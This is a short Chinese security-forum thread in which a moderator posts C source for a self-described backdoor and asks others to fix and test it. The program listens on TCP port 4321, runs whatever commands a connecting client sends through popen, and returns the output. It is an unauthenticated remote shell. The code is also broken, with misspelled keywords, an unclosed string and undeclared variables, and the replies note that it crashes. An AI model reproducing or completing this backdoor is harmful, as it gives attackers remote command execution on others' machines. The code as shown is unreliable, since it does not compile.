论坛: 编程破解 标题: 谁帮帮我,SOCKET程序 复制本贴地址    
作者: Garu [syshunter]    版主   登录
//程序是模拟个小后门,实在懒得搞了,也没环境调试,谁帮我改好了测试下
代码:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
//#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

#define MAXUSER 5
#define PORT 4321
int main(void) {
FILE *fp;
pid_t pid;               
int n,nsize,sockfd,newsockfd;
char buf[80];
struct sockaddr_in serv_addr,cli_addr;

bzero((char *)&serv_addr,sizeof(serv_addr));

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) {
perror("socket");
return;
}


serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(INADDR_ANY);
serv_addr.sin_port = htons(PORT);

if(bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0) {
perror("bind");
return ;
}


listen(sockfd,MAXUSER);

nsize=sizeof(struck sockaddr_in);

while(1) {
newsockfd = accept(sockfd,(struct sockaddr *)&cli_addr,&nsize);
if(newsockfd<0) {
perror("accept");
continue ;
}

pid=fork();
if(pid<0)
{
perror("fork");
retrun;
}

if(pid==0) cli_echo(newsockfd);
}

close(sockfd);
exit(1);
}

cli_echo(int fd){
int n;
fd_set fds;
char buf[255];
FILE *fp;

FD_ZERO(&fds);
FD_SET(fd,&fds);

send(fd,"#",1,0);

while(1) {
if(select(fd+1,&fds,NULL,NULL,NULL)==-1) {
perror("select");
return;
}
if(FD_ISSET(fd,&fds)) {
if((n=read(fd,buf,255))<=0) {
perror(read buf");
return;
}

buf[n]=0;
fp=popen(buf,"r");     
do {
fgets(buf,80,fp);   
write(fd,buf,strlen(buf)); 
}while(!feof(fp));


pclose(fp);
}
send(newsockfd,"#",1,0);
}

return 1;
}




地主 发表时间: 08/16 21:02

回复: NetDemon [netdemon]   ADMIN   登录
这也叫后门阿?昏

B1层 发表时间: 08/16 21:54

回复: Garu [syshunter]   版主   登录
其他的你别管,就这么个狗屁不是的东西产生了SIGSEGV信号,我不知道哪里溢出了

B2层 发表时间: 08/17 12:41

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号